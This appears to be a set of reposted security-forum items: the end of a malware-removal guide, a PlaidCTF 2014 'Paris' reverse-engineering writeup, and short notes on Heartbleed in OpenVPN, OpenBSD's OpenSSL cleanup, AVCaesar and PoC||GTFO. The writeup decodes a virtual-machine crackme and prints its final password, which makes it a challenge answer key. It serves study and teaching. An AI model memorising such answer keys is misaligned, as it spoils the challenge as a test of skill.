Disconnect yourself from the network & contact your network administrator. · Write down useful information: o What were you doing at the time? Did you notice anything special? What was the time and date anyway? o Why do you believe your machine is infected? Which steps did you take already, if any? Did your antivirus prompt? o Inform your co-workers you’re going for a coffee break. Summary This concludes our three case studies – rogueware, Trojan Horse and rootkit. I do hope that you have enjoyed reading the article and going carefully through each step. We have seen three different case studies as described above, but it is totally not uncommon to have all three types of malware on the same machine. For example, certain families of rogueware have been seen to drop the infamous TDL4 rootkit variant. Goal is to ensure the persistence of the payload on the machine. Therefore, it is advised to always use an anti-rootkit as well. Remember that some malware is more advanced than others, and it might take you some time to fully disinfect a machine. Sometimes it’s easier, quicker and cleaner to perform a reinstallation of the operating system. If you’re ever stuck, there are many forums out there specifically for helping you in cleaning malware off an infected computer. As quickly as malware is evolving, so are the people who are constantly battling them – whether this would be antivirus companies, independent malware or security research folks, agencies and governments… Join our cause in making this world a malware-free environment and educate everyone around you, each day. Should you have any further questions, comments or remarks, I am always available for feedback. You can contact me via Twitter: @bartblaze . On the web https://zeltser.com/malware-analysis-toolkit - 5 Steps to Building a Malware Analysis Toolkit Using Free Tools Autoruns for Windows - Autoruns Blaze's Security Blog: Basics for a malware analysis lab - Basics for a malware analysis lab http://www.raktor.net/exeHelper/exeHelper.com - exeHelper http://www.gmer.net – GMER http://download.bleepingcomputer.com/sUBs/MiniFixes/Inherit.exe - Inherit KernelMode.info • View topic - List of Anti-Rootkits – List of anti-rootkits Process Explorer - Process Explorer RootkitRevealer - RootkitRevealer http://www.antirootkit.com/software/RootKit-Unhooker.htm - Rootkit Unhooker https://bartblaze.blogspot.com – The author’s own weblog Glossary Address space – in this context, memory address of a process. Botnet – a group of computers infected with malware and controlled by the so called bot herder. Botnets can be used to launch DDoS attacks, send spam … Dropper – a dropper is a program that installs or downloads additional malware on a system. LoveLetter – also known as ILOVEYOU worm – spread mostly via email, infected millions of machines. Master Boot Record – first 512 bytes at the first sector of a hard drive. Payload – modifications or damage done by malware. Zombie – computer infected with malware and possibly compromised by a hacker. Zombies are typically part of a botnet. Sursa: Blaze's Security Blog: Basic Malware Cleaning

PlaidCTF 2014 Paris writeup PlaidCTF 2014 Paris writeup Clue: This binary was found on some of our Windows machines. It's got The Plague written all over it. What secrets are contained inside? The download is a tbz file containing: $ md5sum paris.exe 11e9ffcc9d5e963eb9c2d806cedb2ad3 *paris.exe Using file we learn: $ file paris.exe paris.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows IDA reports that the import section has been destroyed which is typical of programs that have been obfuscated. The entry to the program is unspectacular, using ReadConsole to read up to 255 characters into a password buffer located at 0x401490, then overwriting the last two bytes (CRLF) of the input with nulls. Next function sub_402066 is called and we can see that if we return with esi == 0xdeadbeef and the global variable word_4024A3 == 0, that they program will print "Yeah!" We surmise that sub_402066 is the password checking function and investigate. Here is what the function looks like: .text:00402066 exceptionHell proc near ; CODE XREF: start+56 .text:00402066 xor ecx, ecx .text:00402068 .text:00402068 loc_402068: ; CODE XREF: exceptionHell+39 .text:00402068 push offset MAIN_EXC_HANDLER ; setup SEH == sub_402376 .text:0040206D push fs:off_7FFDE000 .text:00402074 mov fs:off_7FFDE000, esp .text:0040207B mov eax, 0 .text:00402080 mov [eax], eax ; NULL pointer deref generated MEMORY_ACCESS exception .text:00402082 sub edi, 1111h ; This is important .text:00402088 pop fs:off_7FFDE000 .text:0040208F add esp, 4 .text:00402092 cmp value_1, 1 .text:00402099 jz locret_401C90 .text:0040209F jmp short loc_402068 .text:0040209F exceptionHell endp This function simply generates MEMORY_ACCESS exceptions until the global variable halt_flag (byte_4024AA) == 1. So we move on to exploring the behavior of MAIN_EXC_HANDLER at 402376. As an SEH handler it has the following prototype: EXCEPTION_DISPOSITION __cdecl _except_handler( struct _EXCEPTION_RECORD *ExceptionRecord, void * EstablisherFrame, struct _CONTEXT *ContextRecord, void * DispatcherContext ); For this program the CONTEXT* is the thing we are interested in. This is where the faulting threads execution context is saved and provided to the exception handler for examination and possible modification. The CONTEXT struct contains space for all CPU registers, with the general purpose registers beginning at offset 0x9C into the struct. MAIN_EXC_HANDLER uses a global variable (byte_40225E) as an index into a jump table located at 0x40220E. The jump table contains 20 addresses and the function simply loops through the address from 0..19 repeatedly for the duration. At this point it starts to become clear that this main program loop is a simple virtual machine with a few twists. The basic details of the machine are as follows: 1. The machine has 20 simple instructions. The machines byte code begins at 0x401D8E. 2. The machine's pc is at word_4024A7. 3. The machine has a 256 word stack that grows from low memory to high memory at word_401A90 4. There is an initial value of 0x5a4d on the stack and the initial SP is 2. Push is post-increment, pop is pre-decrement. 5. The machine makes use of 16-bit registers that overlay the exception handlers CONTEXT struct such that uint16_t *registers = (uint16_t*)&CONTEXT._Edi. Thus registers[0] and registers[1] overlay _Edi, registers[2] and registers[3] overlay _Esi etc. This is important because the faulting thread's registers are restored from the CONTEXT struct on return from the exception which means that the VM register may be manipulated from within the exception handler and from outside the exception handler where they take their values at the moment an exception is triggered. In practice, the only register of significance that is changed outside the exception is edi which is manipulated at 402082 where 0x1111 is subtracted upon return from every exception. The next step in understanding the program was to determine what the 20 VM instructions do and if possible disassemble the virtual machine program responsible for verifying our password. None of the 20 instruction handlers are terribly difficult to understand and we end up with the following set of operations: Opcode Operation 0 nop 1 mov rA, rB ; registers[A] = registers[B] 2 mov password[rA], rB ; *(uint16_t*)(registers[A] + (uint8_t*)password) = registers[B] 3 mov rA, password[rB] ; registers[A] = bswap(*(uint16_t*)(registers[B] + (uint8_t*)password)) 4 mov rA, #imm ; registers[A] = 16 bit immediate 5 add rA, rB ; registers[A] += registers[B] 6 sub rA, rB ; registers[A] -= registers[B] 7 xor rA, rB ; registers[A] ^= registers[B] 8 and rA, rB ; registers[A] &= registers[B] 9 shr rA ; registers[A] >>= 8 10 not rA ; registers[A] ~= registers[A] 11 inc rA ; registers[A]++ 12 cmp rA, rB ; ZF = rA == rB 13 jmp dest ; pc = dest 14 beq dest ; if (ZF) pc = dest 15 push rA ; stack[sp] = registers[A], sp += 2 16 pop rA ; sp -= 2, registers[A] = stack[sp] 17 bswap rA ; registers[A] = bswap(registers[A]) 18 xortab rA ; for i in 0..512: lookup_table[i] ^= xor_key[registers[A]] 19 halt Where: 0x401490: password 0x401DFA: xor_key 0x401690: lookup_table One of the challenges with understanding what the virtual machine does is that at first glance it appears that the program simply does the following: i = 0 while not halt_flag: execute_inst(i) i = (i + 1) % 20 Upon further investigation it turns out that every instruction begins by saving all of the writable portions of the VM to a dedicated save area. Areas saved include the password buffer, stack, lookup table, stack pointer, program counter, halt flag, and registers. The operands for each instruction are encoded in 1-3 bytes taken from the "program" array at 0x401D8E. These bytes specify which VM registers the instruction operates on, any immediate data or jump target, and a value that indicates whether the instruction will be discarded or not. When an instruction is discarded, the VM state is restored from the state that was saved at the beginning of the instruction. A computation in the VM advances only when an instruction is not discarded. By modelling the behavior of the VM in a high level language we instrumented each instruction and recorded only those instructions that did not get discarded. From the instruction trace we learned that the program being executed in the virtual machine looked like the following: 0x00: nop 0x01: nop 0x02: nop 0x03: mov r4, #0x3133 0x06: mov r6, #0x0 0x09: mov r8, #0xff00 0x0c: mov r10, #0xff ; r6 used as index into our password LENGTH_LOOP: 0x0f: mov r0, htons(pass[r6]) <------- from 0x34 0x11: mov r14, r0 <***** r0 gets decremented by (18 * 0x1111) externally between 0x0f and 0x11 0x13: bswap r14 0x14: not r14 0x15: cmpeq r4, r14 0x17: beq 0x37 (BREAK) ; end of string \x00\x00 encountered 0x1a: mov r12, r14 0x1c: and r12, r8 ; HI(r12) 0x1e: and r14, r10 ; LO(R14) 0x20: shr r12, 8 0x21: xor r14, r12 ; xor the two bytes together 0x23: mov r12, #0x200 0x26: add r14, r14 ; double for uint16_t index 0x28: add r12, r14 0x2a: mov r14, htons(pass[r12]) 0x2c: bswap r14 0x2d: pop r12 0x2e: xor r14, r12 0x30: push r12 0x31: push r14 0x32: xortable r6 0x33: inc r6 0x34: jmp 0xf (LENGTH_LOOP) BREAK: 0x37: xor r14, r14 <---------- from 0x17 0x39: mov r4, #0x100 ; index to beginning of check values 0x3c: mov r12, #0xaf21 ; "end of" value for check values ; r4 starts at offset 256 into password buffer (static content) ; increments by 2 each pass CHECK_LOOP: 0x3f: mov r10, htons(pass[r4]) <---------- from 0x4c 0x41: bswap r10 0x42: inc r4 0x43: inc r4 0x44: pop r6 0x45: cmpeq r12, r10 0x47: beq 0x56 (MAYBE) 0x4a: cmpeq r6, r10 0x4c: beq 0x3f (CHECK_LOOP) FAIL: 0x4f: mov r6, #0x0 0x52: mov r4, #0x0 0x55: halt MAYBE: 0x56: mov r10, #0x5a4d <--------- from 0x47 ; "bottom" of stack marker 0x59: cmpeq r10, r6 0x5b: beq 0x65 (SUCCESS) FAIL2: 0x5e: mov r6, #0x0 0x61: mov r4, #0x0 0x64: halt SUCCESS: 0x65: mov r6, #0xdead <---------- from 0x5b 0x68: mov r4, #0xbeef 0x6b: halt Perhaps the trickiest aspect of the computation happens at 0xf, 0x11. Because VM register equates to DI, the sub edi, 0x1111 instruction in the main exception generator loop modifies the content of r0 between 0xf and 0x11. This is complicated by the fact that large numbers of VM instructions are simply discarded but 0x1111 is subtracted from edi regardless of whether the VM instruction was discarded or not. It was observed that 17 instructions were discarded between 0xf and 0x11 so r0 decrements by 18*0x1111 between 0xf and 0x11. At a high level, the program above advances through our password 1 byte at a time processing two bytes at a time, ie pass 0 takes pw[0:2], pass 1 takes pw[1:3}, etc. Processing ends when a double null is encountered. Each word is used to compute and index into a lookup table from which a word is extracted and placed on the stack. Following each pass, the entire lookup_table is xor'ed using a key byte based on the current index into the password buffer. Once the end of the password is reached, the stack is unwound and the values on the stack compared against an embedded list of values stored at 0x401590. Noting that 0xaf21 is used as an end marker, we can see that our password needs to generate 29 stack words. In other words, the password we are searching for is 29 characters long. .text:00401590 check_vals dw 2E0Bh, 6D02h, 7492h, 870Ch, 93B9h, 0EDB3h, 312Ch, 7107h .text:00401590 dw 7D10h, 2007h, 0E7C6h, 3A1Bh, 0BAD8h, 9417h, 0FA6Bh .text:00401590 dw 0BE6Ch, 621Dh, 4D3Bh, 47ADh, 7A7Ah, 3E9Dh, 53A2h, 0F22Fh .text:00401590 dw 0D1A9h, 0F574h, 8173h, 11BCh, 0AE15h, 6179h, 0AF21h The following code describes how passwords are processed and verified; for (pw = (uint16_t*)(password + r6); *pw; pw = (uint16_t*)(password + r6)) { uint16_t val = *pw; val1 = ~(bswap(val - 18 * 0x1111)); val2 = ((val1 >> 8) ^ val1) & 0xff; push bswap(lookup_table[val2]) ^ TOS //here entire lookup_table is xor'd against xor_key[r6] for (int i = 0; i < 512; i++) *(r6 + (uint8_t*)lookup) ^= xor_key[r6]; r6++; } idx = 0; while (1) { v = pop() if (v == 0x5a4d && check_vals[i] == 0xaf21) { esi = 0xdeadbeef; return; } if (v != check_vals[i]) fail } Recovering the password is a matter of understanding the following 1. Each work placed on the stack depends on two adjacent bytes of the password 2. The stack word is generated by using the two password bytes to read a value from the lookup table which is xored with the current top item on the stack 3. In the last pair of password bytes, one of the bytes is the terminating null 4. The fact that we know one byte in the password byte pair allows us to determine the second byte of the pair by xoring the top two check values to learn the corresponding lookup table, and work the process backward to learn what the other byte of the password byte pair was. 5. Once learn one byte we can repeat step 4 to gradually reveal all of the key bytes. As an example of working the problem, the first item on the stack needs to be 0x6179 = lookup_val ^ 0x5a4d lookup_val = 0x6179 ^ 0x5a4d lookup_val = 0x3B34 which we find at 221 into the lookup table 221 is thus the result of a transformation on password[0] and password[1] we can similarly compute the lookup table indicies for all of the check_values knowing that password[29] == 0 allows to work backwards to solve for password password[28], password[27], etc. A solver may be found at: http://www.idabook.com/paris_solver.c Final password: V1rTu4L_M4ch1n3s_4r3_Aw3s0m3! Sursa: http://www.idabook.com/paris_writeup.txt

AVCaesar is a malware analysis engine and repository. Your suspicious files can be analysed by a set of antivirus. Currently the database contains 1,894,725 samples. http://avcaesar.malware.lu/

[h=3]Heartbleed for OpenVPN[/h]Core to the VRT's mission is challenging the general intrusion detection industry's view of "adequate" vulnerability coverage. One way we do this is to seek out new attack vectors for critical vulnerabilities the industry may have overlooked and take the initiative to write the proof of concept code and detection for aspects of a vulnerability that others might have missed. You no doubt have heard by now about the Heartbleed vulnerability and its implications for HTTPS servers that run the vulnerable versions of OpenSSL. Something not discussed enough is its implications for services running on protocols other than HTTP that also rely on OpenSSL. One such case is OpenVPN. The OpenVPN protocol encapsulates the SSL/TLS session used for authentication, key exchange, and data tunneling in order to provide the reliable transport layer the SSL/TLS session needs, (since OpenVPN is often run over UDP). One improvement, and challenge to exploitation, that OpenVPN provides over vanilla TLS is that it supports optional HMAC signing of OpenVPN messages using a passphrase or key. This is a challenge to the attacker because not only do you need to properly encapsulate your malicious heartbeat message, you also (in cases where the server requires message signing) have to sign it with a valid HMAC. It is important to note that HMAC signing does not prevent the OpenVPN server from being vulnerable, as it is still possible to leak memory using HMAC signing if you have the passphrase or key. Unfortunately many OpenVPN servers have this feature disabled and are vulnerable to memory disclosure without authentication. If you are running an OpenVPN server, it is strongly recommended that you upgrade to the latest version of OpenSSL and enable HMAC signing of OpenVPN messages. The VRT has developed working Heartbleed exploits for OpenVPN running over TCP and UDP. Detection for this vulnerability includes coverage for servers running over TCP and UDP with HMAC signing and without HMAC signing in SIDs 30711 through 30742. Sursa: VRT: Heartbleed for OpenVPN

One week of OpenSSL cleanup After the news of heartbleed broke early last week, the OpenBSD team dove in and started axing it up into shape. Leading this effort are Ted Unangst (tedu@) and Miod Vallat (miod@), who are head-to-head on a pure commit count basis with both having around 50 commits in this part of the tree in the week since Ted's first commit in this area. They are followed closely by Joel Sing (jsing@) who is systematically going through every nook and cranny and applying some basic KNF. Next in line are Theo de Raadt (deraadt@) and Bob Beck (beck@) who've been both doing a lot of cleanup, ripping out weird layers of abstraction for standard system or library calls. Then Jonathan Grey (jsg@) and Reyk Flöter (reyk@) come next, followed by a group of late starters. Also, an honorable mention for Christian Weisgerber (naddy@), who has been fixing issues in ports related to this work. All combined, there've been over 250 commits cleaning up OpenSSL. In one week. Some of these are simple or small changes, while other commits carry more weight. Of course, occasionally mistakes get made but these are also quickly fixed again, but the general direction is clear: move the tree forward towards a better, more readable, less buggy crypto library. Sursa: One week of OpenSSL cleanup

Linux x86 Reverse Engineering Shellcode Disassembling and XOR decryption Harsh N. Daftary Sr. Security Researcher at CSPF Security Consultant at Trunkoz Technologies info@securityLabs.in Download: http://dl.packetstormsecurity.net/papers/shellcode/re_shellcode.pdf

International Journal of PoC || GTFO Issue 0x00, a CFP with PoC An epistle from the desk of Rt. Revd. Pastor Manul Laphroaig pastor@phrack.org August 5, 2013 --------------------------------------------------------------------------------------- Proceedings of the Society of PoC || GTFO Issue 0x01, an Epistle to the 10th H2HC in São Paulo From the writing desk, not the raven, of Rt. Revd. Preacherman Pastor Manul Laphroaig pastor@phrack.org October 6, 2013 --------------------------------------------------------------------------------------- Children’s Bible Coloring Book of PoC || GTFO Issue 0x02, an Epistle to the 30th CCC Congress in Hamburg Composed by the Rt. Revd. Pastor Manul Laphroaig to put pwnage before politics. pastor@phrack.org --------------------------------------------------------------------------------------- ANADDRESS to the SECRETSOCIETY of POC || GTFO concerning THEGOSPELOFTHEWEIRDMACHINES and also THESMASHINGOFIDOLSTOBITSANDBYTES by the Rt. Revd. Dr. PASTORMANULLAPHROAIG pastor@phrack.org --------------------------------------------------------------------------------------- Download issues: 0. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo00.pdf 1. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo01.pdf 2. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo02.pdf 3. http://www.exploit-db.com/wp-content/themes/exploit/docs/pocorgtfo03.pdf